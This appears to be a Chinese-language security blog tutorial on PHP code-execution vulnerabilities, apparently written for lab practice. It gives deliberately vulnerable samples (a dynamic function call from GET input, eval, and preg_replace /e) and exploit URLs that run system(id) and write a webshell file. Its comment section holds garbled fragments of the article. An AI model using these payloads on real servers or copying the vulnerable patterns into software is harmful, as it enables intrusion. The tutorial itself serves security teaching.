代码执行漏洞与利用
当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。
PHP eval()、assert()、preg_replace()
python exec()
Java 没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、MVEL等
1. 动态代码执行
PHP
<?php
function m_print(){
echo '这是一个页面';
}
$_GET['a']($_GET['b']);
?>
查看php信息
assert 可以执行php里面的一些函数比如phpinfo()
PHP
http://www.webtester.com/code/code01.php?a=assert&b=phpinfo()
PHP
http://www.webtester.com/code/code01.php?a=assert&b=system(id)
PHP
http://www.webtester.com/code/code01.php?a=assert&b=var_dump(1)
2. eval代码执行
PHP
<?php
$data = isset($_GET['data'])?$_GET['data']:'这是一个eval漏洞页面';
@eval($ret = $data);
echo $ret;
?>
eval可以执行php代码
PHP
http://www.webtester.com/code/code02.php?data=phpinfo();
http://www.webtester.com/code/code02.php?data=system(id);
写 shell
PHP
fputs(fopen("shell.php","a"),"<?php phpinfo();?>");
http://www.webtester.com/code/code02.php?data=fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();?>");

3. 正则代码执行
PHP
<?php
$data = $_GET['data'];
preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);
?>
<form>
<label>请输入你的数据</label>
<input type='text' name='data'/>
<input type='submit' value='提交'/>
</form>
PHP
<data>{${phpinfo()}}</data>
http://www.webtester.com/code/code03.php?data=<data>{${phpinfo()}}</data>
下一篇:怎么从目录里getshell
相关文章
- 4条评论
惑心诤友2022-06-03 10:23:37
- p phpinfo();?>"); http://www.webtester.com/code/code02.php?data=fputs(fopen("../upload/shell.php","a"),"<?php phpi
馥妴秙暔2022-06-03 10:08:51
- /code/code01.php?a=assert&b=var_dump(1)2. eval代码执行 <?php $data = iss
掩吻夙世2022-06-03 01:48:36
- name='data'/> <input type='submit' value='提交'/> </form><data>{${phpinfo()}}</data>http://www.webtester
颜于栖迟2022-06-03 04:07:03
- r.com/code/code01.php?a=assert&b=system(id) http://www.webtester.com/code/code01.php?a=assert&b=var_dump(1)2. eval代码执行 <?php